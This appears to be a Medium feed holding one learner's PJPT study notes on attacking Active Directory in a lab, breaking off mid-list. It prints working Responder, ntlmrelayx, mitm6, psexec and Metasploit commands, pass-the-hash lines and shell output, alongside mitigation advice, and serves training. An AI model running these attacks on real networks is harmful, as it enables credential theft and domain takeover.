<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by farouk loussaief on Medium]]></title>
        <description><![CDATA[Stories by farouk loussaief on Medium]]></description>
        <link>https://medium.com/@loussaieffarouk06?source=rss-1f4e235c6196------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*UkUgCWcuFCt1w6O0fz1GTA.jpeg</url>
            <title>Stories by farouk loussaief on Medium</title>
            <link>https://medium.com/@loussaieffarouk06?source=rss-1f4e235c6196------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 03:05:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@loussaieffarouk06/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[PJPT Notes — Hunting AD]]></title>
            <link>https://medium.com/@loussaieffarouk06/pjpt-notes-hunting-ad-e23d38d4e3a7?source=rss-1f4e235c6196------2</link>
            <guid isPermaLink="false">https://medium.com/p/e23d38d4e3a7</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[notes]]></category>
            <category><![CDATA[pjpt]]></category>
            <dc:creator><![CDATA[farouk loussaief]]></dc:creator>
            <pubDate>Tue, 31 Dec 2024 14:35:18 GMT</pubDate>
            <atom:updated>2024-12-31T14:35:18.348Z</atom:updated>
            <content:encoded><![CDATA[<h3>PJPT Notes — Hunting AD</h3><p>This article provides my notes on internal penetration testing methods, focusing on how to compromise the Domain Controller, based on the TCM Academy course.</p><p>Tips for passing the exam: Stay calm; the exam is aimed at beginners and is not very hard. Don’t stress, adhere to your notes, and follow Heath Adams’ guidance in the course.</p><p><strong>The course material is fully sufficient for obtaining your certification !</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*PKzKd7YReldEJGtz8wOe3g.png" /></figure><h3><strong>I. Effective Notekeeping</strong></h3><ul><li>Break down in certain Domains</li><li>Under Domains, subdomains</li><li>Notes under each section</li><li>Insert code in notes</li><li>Break down in sections. Enumeration, Privilege escalation,</li><li>Pictures are important!</li><li>List of commands / attacks for each sections</li><li>Screenshot tools <a href="https://getgreenshot.org/downloads">GreenShot</a> <a href="https://flameshot.org/">FlameShot</a></li></ul><h3>II. Network Refresher</h3><h4>OSI Model</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*_9cRox4NODJNeUO6.png" /></figure><h4>IP Classes</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*ehXCn5-W0Nn-bzo0" /></figure><h4>Subnetting</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4jnpwn386z3_WGCo" /></figure><p><strong><em>Subnetting</em> </strong>is the process of <em>breaking a network into smaller parts</em> called <em>subnets</em>, <em>enhancing IP address efficiency</em> and aiding network management. This technique involves <em>borrowing bits</em> from the <em>host section of an IP address</em> to create <em>subnet identifiers</em>, <em>dividing the network into multiple subnets</em>, each with its <em>unique IP address range</em>.</p><p><strong><em>CIDR (Classless Inter-Domain Routing)</em></strong><em> notation</em> simplifies representing IP addresses and their subnet masks. It <em>indicates the network prefix length</em>, <em>denoting the number of bits used</em> for the network part of the IP address. CIDR notation <em>appends a forward slash (/)</em> and the prefix length to the IP address.</p><p><strong><em>Example:</em></strong></p><ul><li>IP Address: 192.168.0.0/24</li><li><em>“/24”</em> means the first <em>24 bits</em> are for the network, and the remaining <em>8 bits</em> are for hosts.</li><li>Subnet mask: 255.255.255.0.</li></ul><p>To further subnet, you can <em>borrow additional bits</em>. If, for example, <em>2 bits</em> are borrowed, <em>4 subnets are created</em>, and the subnet mask becomes 255.255.255.192 (binary: 11111111.11111111.11111111.11000000).</p><p><strong><em>The resulting subnets:</em></strong></p><ol><li>192.168.0.0/26 (range: 192.168.0.0–192.168.0.63)</li><li>192.168.0.64/26 (range: 192.168.0.64–192.168.0.127)</li><li>192.168.0.128/26 (range: 192.168.0.128–192.168.0.191)</li><li>192.168.0.192/26 (range: 192.168.0.192–192.168.0.255)</li></ol><p><em>Each subnet can serve different purposes</em> within the network. <em>CIDR notation provides a concise way to define network boundaries</em>, fostering efficient address allocation in IP networking.</p><h4><strong>IP Addresses</strong></h4><p>Displaying the IP address</p><blockquote>ifconfig / linux <br>ipconfig / windows</blockquote><p><strong>IPv4</strong> IPv4 addresses are <em>32-bit numerical addresses</em> represented in a dotted-decimal format, such as “192.168.0.1”. Each section, or <em>octet</em>, of the address consists of <em>8 bits</em> and can range <em>from 0 to 255</em>. This allows for a total of approximately <em>4.3 billion unique addresses</em>.</p><p><strong>IPv6</strong> IPv6 addresses are <em>128-bit addresses</em> represented in a hexadecimal format, such as “2001:0db8:85a3:0000:0000:8a2e:0370:7334”. The longer address length of IPv6 allows for a significantly larger number of unique addresses, approximately <em>3.4×10³⁸. IPv6 addresses</em> are <em>divided into eight groups</em> of <em>four hexadecimal digits</em>, separated by colons. <em>Leading zeros within a group can be omitted, and consecutive groups of zeros can be represented by a double colon (::)</em> to simplify the address.</p><p><strong>Summary: </strong>IPv4 and IPv6 are versions of the Internet Protocol that provide an unique addresses to devices on a network. IPv4 are addresses with 32 bit, and IPv6 addresses with 128 bit. IPv6 offers a larger address space and additional features compared to IPv4.</p><h4><strong>MAC Addresse</strong></h4><p>MAC addresses (<em>Media Access Control</em>) is a <em>identifier assigned to network capable devices that’s being signed by the manufacture</em>. A MAC are typically <em>48 bits in length</em> which is represented by <em>6 pairs of hexadecimal digits</em>, separated by hyphens or colons. “00:1A:2B:3C:4D:5E”. The <em>first 3 pairs</em> of digits represents the <em>manufacturer</em> of the network card. The <em>last 3 pairs</em> are <em>unique identifier for the specific device</em>.</p><p><strong>MAC</strong> addresses are <em>important in Ethernet networks</em> It allows devices to communicate with each other within the network. When data is sent from one device to another, <em>it is encapsulated within Ethernet frames that contain the destination MAC</em>. Routers forward the data to the destination.</p><p><strong>MAC</strong> addresses are <em>specific to the local network</em> and do <em>not have global uniqueness like IP addresses</em>. They are <em>only relevant within the scope of the local network segment</em>.</p><h4>TCP, UDP and the Three Way Handshake</h4><p><strong>TCP and UDP Overview:</strong></p><ul><li><em>TCP (Transmission Control Protocol)</em> and <em>UDP (User Datagram Protocol)</em> are <em>transport layer</em> protocols in computer networks.</li><li>TCP is <em>connection-oriented</em>, ensuring <em>reliable, ordered, and error-checked data delivery</em>.</li><li>UDP is <em>connectionless, simpler, and lightweight</em>, suitable for <em>applications tolerating data loss</em> or delay.</li></ul><p><strong>TCP Characteristics:</strong></p><ul><li><em>Guarantees correct data delivery</em> through mechanisms like acknowledgement, retransmission, and flow control.</li><li><em>Breaks data into packets</em>, assigns sequence numbers, and ensures proper reassembly.</li><li><em>Widely used for applications</em> requiring guaranteed delivery, e.g., web browsing, email, file transfer.</li></ul><p><strong>UDP Characteristics:</strong></p><ul><li><em>Does not establish connections or guarantee packet delivery</em>, making it suitable for real-time applications.</li><li><em>Commonly used for streaming media</em>, online gaming, DNS, and VoIP.</li></ul><p><strong>Three-Way Handshake (TCP):</strong></p><ul><li>Process to <em>establish a connection before data transmission</em>.</li><li><em>SYN (Synchronize)</em>: Client sends SYN packet to the server.</li><li><em>SYN-ACK (Synchronize-Acknowledge)</em>: Server responds with SYN and ACK flags set.</li><li><em>ACK (Acknowledge)</em>: Client acknowledges SYN-ACK, confirming connection establishment.</li></ul><p><strong>Post-Handshake Connection:</strong></p><ul><li>After the three-way handshake, devices are ready to exchange data.</li><li>Sequence numbers ensure correct order of data transmission and reception.</li></ul><p><strong>Common ports :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/0*O2vVkAJtdDH6kNib.png" /></figure><h3>III. Information gathering</h3><h4>Gathering Email and Breached Credentials</h4><p>Discovering Email Addresses: <a href="https://hunter.io/">Hunter</a> <a href="https://phonebook.cz/">Phonebook</a> <a href="https://www.voilanorbert.com/">Voilanrobert</a> <a href="https://tools.verifyemailaddress.io/">EmailHippo</a> <a href="https://email-checker.net/validate">Email Checker</a></p><p>Gathering Breached Credentials with Breach-Parse &amp; DeHashed: <a href="https://github.com/hmaverickadams/breach-parse">Breach Parse</a> <a href="https://dehashed.com/">DeHashed</a></p><h4>Hunting Subdomains</h4><ul><li>Sublist3r:</li></ul><blockquote>sublist3r -d <a href="http://domain.com/">domain.com</a> -t 1337</blockquote><ul><li>FFUF:</li></ul><blockquote>ffuf -w ~/wordlists/subdomains.txt -H “Host: <a href="http://fuzz.domain.com/">FUZZ.domain.com</a>” -u <a href="http://domain.com/">http://domain.com</a> -fs 1337</blockquote><ul><li>Gobuster:</li></ul><blockquote>gobuster vhost -u <a href="http://domain.com/">domain.com</a> -w wordlist.txt</blockquote><h4>Identifying Website Technologies</h4><blockquote><a href="https://builtwith.com/">BuildWith</a><br><a href="https://www.wappalyzer.com/apps/">Wappalyzer</a><br>Whatweb</blockquote><h3>IV. Exploitation Basics</h3><h4>Reverse Shell VS Bind Shell:</h4><p><strong>Payload Execution:</strong></p><ul><li>RS: The attacker injects or uploads a piece of code (often a shell script or executable) onto the target system. This code is designed to connect back to the attacker&#39;s machine.</li><li>BS:The attacker injects or uploads a piece of code onto the target system. This code is designed to connect to the specified IP address and port on the attacker&#39;s machine.</li></ul><p><strong>Connection Establishment:</strong></p><ul><li>RS:The code on the target system starts a network connection to the specified IP address and port on the attacker&#39;s machine.</li><li>BS:When the injected code runs on the target system, it establishes a connection to the waiting service on the attacker&#39;s machine.</li></ul><p><strong>Interactive Shell:</strong></p><ul><li>RS:Once the connection is established, the attacker gains control over the target system and can interact with it through a command shell. This allows the attacker to execute commands on the compromised system as if they were physically present.</li><li>BS:Once the connection is established, the attacker gains control over the target system and can interact with it through a command shell.</li></ul><p><strong>Usage:</strong></p><ul><li>RS:Reverse shells are commonly used when the target system is behind a firewall, and incoming connections are restricted. By having the target system initiate the connection, the attacker can bypass certain network security measures.</li><li>BS:Bind shells are useful when the target system can make outgoing connections, but incoming connections are restricted. This allows the attacker to set up a service that waits for the target to connect to it.</li></ul><h4>Staged Payloads:</h4><p><strong>Initial Stage:</strong></p><ul><li>The attacker delivers a smaller and relatively simple payload to the target system. This initial payload is responsible for establishing a connection back to the attacker’s machine.</li></ul><p><strong>Second Stage:</strong></p><ul><li>Once the connection is established, the attacker sends a second, more complex payload. This payload is usually larger and contains the actual malicious code or exploit.</li></ul><p><strong>Advantages:</strong></p><ul><li>Staged payloads are often used when there are limitations on the size of the initial payload that can be delivered. This could be due to network constraints or security measures that may detect large or suspicious data transfers.</li></ul><p><strong>Disadvantages:</strong></p><ul><li>The staged approach introduces some latency as it requires multiple steps. Additionally, if the first stage is detected and blocked, the attack may be thwarted before the more sophisticated second stage is delivered.</li></ul><h4>Non-Staged Payloads:</h4><p><strong>Delivery:</strong></p><ul><li>The attacker sends a single, comprehensive payload to the target system.</li></ul><p><strong>Execution:</strong></p><ul><li>Upon execution of the payload, it performs all necessary tasks, including establishing a connection back to the attacker’s machine and executing the intended malicious actions.</li></ul><p><strong>Advantages:</strong></p><ul><li>Non-staged payloads are often simpler to implement and can be more straightforward. They reduce the latency associated with staged payloads since all malicious activities are contained in a single payload.</li></ul><p><strong>Disadvantages:</strong></p><ul><li>Larger payloads may be more easily detected by security measures. Additionally, if the initial payload is blocked, the entire attack may be thwarted.</li></ul><h3>V. Active Directory Overview</h3><h4>What is AD?</h4><ul><li>Active Directory (AD) is a directory service developed by Microsoft that provides a centralized and standardized system.</li><li>Manages and organizes information about networked resources, such as computers, users, groups, and other devices within a network.</li><li>It plays a crucial role in Windows-based environments.</li></ul><h4>Domain:</h4><ul><li>A domain is a logical grouping of networked computers that share a common security and authentication database. Active Directory domains are identified by DNS names.</li></ul><h4>Forest:</h4><ul><li>A forest is a collection of one or more domains that share a common schema, configuration, and global catalog. It establishes a trust relationship between domains.</li></ul><h4>Domain Controller (DC):</h4><ul><li>A domain controller is a server that manages security authentication requests within a domain. It stores a writable copy of the Active Directory database and authenticates users and computers.</li></ul><h4>Organizational Unit (OU):</h4><ul><li>An organizational unit is a container within a domain that can be used to organize and manage objects like users, groups, and computers. It allows administrators to apply Group Policy settings and delegate administrative authority.</li></ul><h4>Group Policy:</h4><ul><li>Group Policy is a feature that allows administrators to implement and enforce specific configurations for users and computers within an Active Directory environment. It helps in managing security settings, software installation, and other configurations.</li></ul><h4>Security Identifier (SID):</h4><ul><li>A unique alphanumeric identifier assigned to each security principal (user, group, or computer) in Active Directory. SIDs are used for authentication and access control.</li></ul><h4>Global Catalog (GC):</h4><ul><li>The global catalog is a specialized domain controller that contains a partial replica of the Active Directory database, including a subset of all objects in the forest. It facilitates searching for objects across the entire forest.</li></ul><h4>Trust Relationship:</h4><ul><li>Trust relationships define how domains within a forest trust each other for authentication purposes. They allow users in one domain to access resources in another domain.</li></ul><h4>Active Directory Database:</h4><ul><li>The Active Directory database stores information about objects such as users, groups, and computers. It is replicated among domain controllers within a domain and across domains in a forest.</li></ul><h4>LDAP (Lightweight Directory Access Protocol):</h4><ul><li>LDAP is the protocol used to communicate with Active Directory for querying and modifying directory information. It operates on TCP/IP and provides a standard way to access directory services.</li></ul><h4>Kerberos Authentication:</h4><ul><li>Active Directory uses the Kerberos protocol for secure authentication between clients and servers. It provides strong authentication and supports single sign-on.</li></ul><h4>DNS (Domain Name System):</h4><ul><li>DNS is crucial for Active Directory, as it is used for domain naming and locating domain controllers. Proper DNS configuration is essential for the functioning of Active Directory.</li></ul><h4>Schema:</h4><ul><li>The schema defines the structure and properties of objects in the directory. It is common across all domains in a forest and is modified to extend or customize the types of objects that can be stored.</li></ul><h4>Replication:</h4><ul><li>Active Directory replication ensures that changes made to the directory database on one domain controller are synchronized to all other domain controllers within the domain and across domains in the forest.</li></ul><h3>VI. Attacking Active Directory</h3><h4>LLMNR Poisoning Overview</h4><p>What is Link-Local Multicast Name Resolution (LLMR):</p><ul><li>Its used to identify hosts when DNS fails</li><li>Key flaw is that the service uses a users username and NTLMv2 hash when responding.</li><li>Used to be NBT-NS (<em>Netbios Name Service</em>)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pQelx9kBjhODj9XP" /></figure><ol><li>Victim calls for \\hackm instead of \\hackme</li><li>Server knows about \\hackme but not \\hackm</li><li>Victim broadcasts in the network asking if anyone knows about \\hackme</li><li>Intercept this request and respond to that, asks for the hash from the victim.</li><li>Crack the hash</li></ol><h4>Practical Example</h4><p><strong>Step1: Run Responder</strong></p><ul><li>Responds to the traffic broadcasted by victims</li><li>Grab the hash if one is received.</li></ul><blockquote>sudo responder -I tun0 -dwP</blockquote><p><strong>Step2 An Event Occurs</strong></p><ul><li>A victim broadcasts the message</li></ul><p><strong>Step3: Get Hashes</strong></p><ul><li>Get the hash from responder offline to further evaluate it</li></ul><p><strong>Step4: Crack the Hashes</strong></p><ul><li>Use tools like Hashcat to crack the offline hash:</li></ul><blockquote>hashcat -m 5600 hash.txt rockyou.txt</blockquote><p><strong>The best defense against LLMNR Poisoning:</strong></p><p><strong>Disable LLMNR and NBT-NS</strong></p><ul><li>To Disable LLMNR, select “Turn OFF Multicase Name Resolution” under Local Computer Policy &gt; Computer &gt; Configuration &gt; Administrative Templates &gt; Network &gt; DNS client in the Group Policy Editor.</li><li>Do Disable NBT-TS, navigate to Network Connections &gt;Network Adapter Properties &gt; TCP / IPv4 Properties &gt; Advanced tab &gt; WINS tab and select “Disable NetBIOS over TCP / IP”. Best action if disabling is not a option:</li></ul><p><strong>Require Network Access Control</strong></p><p><strong>Require strong user password. The more complex the better</strong></p><h3>SMB Relay Attacks Overview</h3><p><strong>What is SMB Relay?</strong></p><p>Instead of cracking hashes gathered with Responder. We can relay those hashes to specific machines and potentially gain access.</p><p>Requirements for SMB Relay:</p><ul><li>SMB signing must be disabled or not enforced on the target.</li><li>Relayed user credentials must be admin on machines.</li><li>Cannot relay to self.</li></ul><p><strong>Identify Host Without SMB Signing</strong></p><p>With Nmap:</p><pre>nmap --script=smb2-security-mode.nse -p445 &lt;ip/CIDR&gt;</pre><pre>nmap --script=smb2-security-mode.nse -p445 10.0.2.25</pre><pre>...<br>Message signing enabled but not required<br>...</pre><p>nmap — script=smb2-security-mode.nse -p445 10.0.2.25 … Message signing enabled but not required …” tabindex=”0&quot; role=”button” style=”box-sizing: border-box; position: relative; display: flex !important; padding: 0px !important; font-size: 14px; font-weight: var( — base-text-weight-medium, 500); line-height: 20px; white-space: nowrap; vertical-align: middle; cursor: pointer; user-select: none; border: 0px; border-radius: 6px; appearance: none; color: var( — fgColor-accent, var( — color-accent-fg)); background-color: transparent; box-shadow: none; transition: color 80ms cubic-bezier(0.33, 1, 0.68, 1), background-color, box-shadow, border-color; justify-content: center !important; align-items: center !important; margin: var( — base-size-8, 8px) !important; width: var( — control-small-size, 28px); height: var( — control-small-size, 28px);”&gt;</p><h4>SMB Relay Attack Walkthrough</h4><p><strong>Step 1: Edit Responder config:</strong></p><blockquote>sudo subl /etc/responder/Responder.conf</blockquote><blockquote>; Servers to start <br>SQL = On <br>SMB = Off * <br>RDP = On <br>Kerberos = On <br>FTP = On <br>POP = On <br>SMTP = On <br>IMAP = On <br>HTTP = On <br>HTTPS = Off * <br>DNS = On <br>LDAP = On <br>DCERPC = On <br>WINRM = On <br>SNMP = Off <br>MQTT = On</blockquote><p><strong>Step 2: Run Responder:</strong></p><blockquote>sudo responder -I eth0 -dw</blockquote><p><strong>Step 3: Set up relay:</strong></p><blockquote>sudo ntlmrelayx.py -tf targets.txt -smb2support</blockquote><p>Step 4: Occur an event: For example a user trying to access the target machines ip in explorer: \\attackerip -&gt; SAM Hashes</p><p><strong>Step 5: Win: Dumps the SAM hashes.</strong></p><p><em>Other Wins:</em></p><p>This will try to get a interactive shell!</p><blockquote>sudo ntlmrelayx.py -tf targets.txt -smb2support -c “whoami”</blockquote><p>A basic command execution on the target machine.</p><h4>Migration Strategies:</h4><p><strong>Enable SMB Signing on all devices</strong></p><ul><li>Pro: Completely stops the attack</li><li>Con: Can cause performance issues with file copies</li></ul><p><strong>Disable NTLM authentication on network</strong></p><ul><li>Pro: Completely stops the attack</li><li>Con: If Kerberos stops working, Windows defaults back to NTLM</li></ul><p><strong>Account tiering</strong></p><ul><li>Pro: Limits domain admins to specific tasks (e.g. only log onto server with need for DA)</li><li>Con: Enforcing the policy may be difficult</li></ul><p><strong>Local admin restrictions</strong></p><ul><li>Pro: Can prevent a lot of lateral movement</li><li>Con: Potential increase in the amount of service desk tickets</li></ul><h3><strong>Gaining Shell Access:</strong></h3><p><strong>Via Metasploit / password needed:</strong></p><p>msfconsole -q use exploit/windows/smb/psexec</p><p>Set either the SMBPass with the enumerated Password, or set it to a hash</p><p><strong>Via psexec / password needed:</strong></p><p>psexec.py marvel.local/fcastle:&#39;Password1&#39;@10.0.2.5</p><p>More quiet option.</p><p><strong>Via psexec / hash needed:</strong></p><p>psexec.py administrator@10.0.2.5 -hashes LM:NT</p><h4><strong>Lab hacking:</strong></h4><p>MARVEL-DC: 192.168.19.128 THEPUNISHER: 192.168.19.129 SPIDERMAN: 192.168.19.130 HackerMan: 192.168.19.131</p><h4><strong>Setting up Metasploit:</strong></h4><p>msfconsole -q use exploit/windows/smb/psexec set payload windows/x64/meterpreter/reverse_tcp set RHOSTS 192.168.19.129 set smbdomain MARVEL.local set smbuser fcastle set smbpass Password1 run</p><p><strong>Background session and interact with sessions:</strong></p><p>meterpreter &gt; background sessions sessions 1</p><p><strong>Hash attack:</strong> administrator:aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f</p><pre>set smbuser administrator<br>unset smbdomain<br>set smbpass aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f<br>run</pre><pre>[*] Started reverse TCP handler on 192.168.19.131:4444<br>[*] 192.168.19.129:445 - Connecting to the server...<br>[*] 192.168.19.129:445 - Authenticating to 192.168.19.129:445 as user &#39;administrator&#39;...<br>[*] 192.168.19.129:445 - Selecting PowerShell target<br>[*] 192.168.19.129:445 - Executing the payload...<br>[+] 192.168.19.129:445 - Service start timed out, OK if running a command or non-service executable...<br>[*] Sending stage (201798 bytes) to 192.168.19.129<br>[*] Meterpreter session 2 opened (192.168.19.131:4444 -&gt; 192.168.19.129:49511) at 2024-08-01 12:43:50 -0500</pre><pre>meterpreter &gt;</pre><p>Password reuse! peterparker hash is the same as frankcastle hash.</p><h4><strong>Manual way / with psexec:</strong></h4><pre>impacket-psexec MARVEL/fcastle:&#39;Password1&#39;@192.168.19.129</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra</pre><pre>[*] Requesting shares on 192.168.19.129.....<br>[*] Found writable share ADMIN$<br>[*] Uploading file jKPkWteS.exe<br>[*] Opening SVCManager on 192.168.19.129.....<br>[*] Creating service qaUG on 192.168.19.129.....<br>[*] Starting service qaUG.....<br>[!] Press help for extra shell commands<br>Microsoft Windows [Version 10.0.19045.4651]<br>(c) Microsoft Corporation. All rights reserved.</pre><pre>C:\\Windows\\system32&gt;</pre><p><strong>Manual way / with psexec + hash:</strong></p><pre>impacket-psexec administrator@192.168.19.129 -hashes aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra</pre><pre>[*] Requesting shares on 192.168.19.129.....<br>[*] Found writable share ADMIN$<br>[*] Uploading file GJJwOpGH.exe<br>[*] Opening SVCManager on 192.168.19.129.....<br>[*] Creating service MRXo on 192.168.19.129.....<br>[*] Starting service MRXo.....<br>[!] Press help for extra shell commands<br>Microsoft Windows [Version 10.0.19045.4651]<br>(c) Microsoft Corporation. All rights reserved.</pre><pre>C:\\Windows\\system32&gt;</pre><p><strong>Manual way / smbexec:</strong></p><pre>impacket-smbexec MARVEL/fcastle:&#39;Password1&#39;@192.168.19.129</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra</pre><pre>[!] Launching semi-interactive shell - Careful what you execute<br>C:\\Windows\\system32&gt;</pre><p><em>With hash:</em></p><pre>impacket-smbexec administrator@192.168.19.129 -hashes<br>aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f</pre><pre>Impacket v0.12.0.dev1 - Copyright 2023 Fortra</pre><pre>[!] Launching semi-interactive shell - Careful what you execute<br>C:\\Windows\\system32&gt;</pre><p><strong>Manual way / wmiexec:</strong></p><pre>impacket-wmiexec MARVEL/fcastle:&#39;Password1&#39;@192.168.19.129</pre><p><em>With hash:</em></p><pre>impacket-wmiexec administrator@192.168.19.129 -hashes<br>aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f</pre><h3>IPv6 Attacks Overview</h3><h4>IPv6 Scanning and Reconnaissance</h4><p>IPv6’s large address space makes it difficult to scan for active hosts. However, attackers can use techniques like:</p><ul><li>Multicast scanning: Sending multicast packets to discover active hosts.</li><li>IPv6 neighbor discovery: Using the Neighbor Discovery Protocol (NDP) to discover hosts on the same network.</li></ul><h4>IPv6 Spoofing</h4><p>Spoofing involves sending packets with a forged source IP address. In IPv6, this can be done using:</p><ul><li>IPv6 extension headers: Maliciously crafting extension headers to disguise the source IP address.</li><li>IPv6 fragmentation: Fragmenting packets to evade security controls.</li></ul><h4>IPv6 Man-in-the-Middle (MitM) Attacks</h4><p>MitM attacks involve intercepting and modifying traffic. In IPv6, this can be done using:</p><ul><li>IPv6 spoofing: Spoofing IP addresses to intercept traffic.</li><li>NDP spoofing: Spoofing NDP messages to hijack traffic.</li></ul><h3>IPv6 DNS Takeover via mitm6</h3><p>MARVEL-DC: 192.168.19.128 THEPUNISHER: 192.168.19.129 SPIDERMAN: 192.168.19.130 HackerMan: 192.168.19.131</p><p>Setup ntlm relay:</p><pre>impacket-ntlmrelayx -6 -t ldaps://192.168.19.128 -wh fakewpad.marvel.local -l lootme</pre><pre>[*] Protocol Client HTTP loaded..<br>[*] Protocol Client HTTPS loaded..<br>[*] Protocol Client MSSQL loaded..<br>[*] Protocol Client IMAPS loaded..<br>[*] Protocol Client IMAP loaded..<br>[*] Protocol Client DCSYNC loaded..<br>[*] Protocol Client SMTP loaded..<br>[*] Protocol Client RPC loaded..<br>[*] Protocol Client LDAP loaded..<br>[*] Protocol Client LDAPS loaded..<br>[*] Protocol Client SMB loaded..<br>[*] Running in relay mode to single host<br>[*] Setting up SMB Server<br>[*] Setting up HTTP Server on port 80<br>[*] Setting up WCF Server<br>[*] Setting up RAW Server on port 6666</pre><pre>[*] Servers started, waiting for connections</pre><p>Running mitm6:</p><pre>sudo mitm6 -d marvel.local</pre><p>Rebooting PUNISHER machine for trigger: reboot…</p><p>Result: It will create a folder that contains domain information and in the best case, create a user on the domain controller!</p><h4>Mitigation Strategies</h4><p>IPv6 poisoning abuses the fact that windows queries for an IPv6 address even in IPv4-only environments. If you do not use the IPv6 internally, the safest way to prevent mitm6 is to block DHCPv6 traffic and incoming router advertisements in Windows Firewall via Group Policy. Disabling IPv6 entirely may have unwanted side effects. Setting the following predefined rules to Block instead of Allow prevents the attack from working:</p><ul><li>(Inbound) Core Networking — Dynamic Host Configuration Protocol for IPv6(DHCPV6-In)</li><li>(Inbound) Core Networking — Router Advertisement (ICMPv6-In)</li><li>(Outbound) Core Networking — Dynamic Host Configuration Protocol for IPv6(DHCPV6-Out)</li></ul><p>If WPAD is not in use internally, disable it via Group Policy and disabling the WinHttpAutoProxySvc service.</p><p>Relaying to LDAP and LDAPS can only be mitigated by enabling both LDAP signing and LDAP channel binding</p><p>Consider Administrative users to the Protected Users group or marking them as Account is sensitive and cannot be delegated, which will prevent any impersonation of that user via delegation.</p><h3>Passback Attacks</h3><p><a href="https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack">https://www.mindpointgroup.com/blog/how-to-hack-through-a-pass-back-attack</a></p><h4>Summerize</h4><p><strong>What is an MFP and MFP Hacking anyway?</strong></p><p>Multi-Function Peripherals (MFPs) are often overlooked in penetration testing, but they can provide a wealth of information and access to a network.</p><ul><li>Credential Disclosure</li><li>File System Access</li><li>Memory Access</li></ul><p><strong>MFPs </strong>(Multi-Function Peripherals) are devices typically found in corporate closets, equipped with:</p><ul><li>Network ports</li><li>USB drives</li><li>Control panels with specialized applications</li></ul><p>They offer more than just basic copy, print, and fax functions, including:</p><ul><li>Integration with corporate networks for scan/email capabilities</li><li>Functionality that requires:</li><li>LDAP (Lightweight Directory Access Protocols) integration</li><li>SMTP (Simple Mail Transfer Protocol) integration</li><li>Network Shares</li></ul><p><strong>Did You Say LDAP?</strong></p><p>MFPs use Lightweight Directory Access Protocols (LDAP) integration, which can be used to control access to printing, copying, and scanning. By modifying the LDAP server field in the Embedded Web Service (EWS), an attacker can capture credentials and gain access to the network.</p><p><strong>Why MFP Hacking Matters</strong></p><p>A successful MFP breach can result in credential disclosure, file system access, and memory access. MFPs are a prime target for penetration testing due to their physical accessibility, poor management, and default credentials.</p><p><strong>Introducing the Pass-Back Attack</strong></p><p>The Pass-Back Attack involves replacing the legitimate LDAP server with a malicious one, allowing the attacker to capture credentials and gain access to the network.</p><p><strong>Accessing the EWS</strong></p><p>Most MFPs ship with default administrative credentials to access the EWS. These credentials can be used to gain initial access to the MFP.</p><ul><li><a href="https://github.com/RUB-NDS/PRET">https://github.com/RUB-NDS/PRET</a></li><li><a href="https://github.com/percx/Praeda">https://github.com/percx/Praeda</a></li><li><a href="https://www.hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet">https://www.hacking-printers.net/wiki/index.php/Printer_Security_Testing_Cheat_Sheet</a></li></ul><p><strong>Replace LDAP Attributes</strong></p><p>Once authenticated to the EWS, an attacker can modify the LDAP settings to point to a malicious LDAP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*fpbO_EQ2Gta3ovOIWwdyKw.png" /></figure><p><strong>Capture Credentials</strong></p><p>Set up a listener with netcat or responder. The next time a user inputs their credentials at the control panel, the MFP will send their information to the LDAP server under the attacker’s control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*Q6P3qbR0h9Nb0JeEe8ukTw.png" /></figure><p><strong>Attacking SMTP and Windows Sign-in</strong></p><p>This attack can also be conducted against other settings on the MFP that support authentication, such as SMTP and Windows sign-in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*oSH42s75y6ErotApUy_VcA.png" /></figure><p>Conducting attacks on the SMTP configuration can also produce fruitful results. The existing SMTP configuration for this MFP has stored credentials for SMTP authentication that can be passed back to us, after replacing the existing SMTP server with our own SMTP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*l6UJcVrvyYZYQ5iLlp_HgA.png" /></figure><p><strong>Big Payout with Low Risk</strong></p><p>MFPs are a prime target for penetration testing due to their high payout potential and low risk.</p><p><strong>Get Started with MFP Hacking and Pen Testing</strong></p><p>To get started with MFP hacking and pen testing, you can use tools like the Printer Exploitation Toolkit (PRET) and Praeda, and learn more about pen testing services and cybersecurity consulting.</p><h3>— &gt; Initial Internal Attack Strategy</h3><p><strong>1. Start the day with mitm6 or Responder</strong></p><p><strong>2. Run scans to generate traffic</strong></p><p><strong>3. If scans are 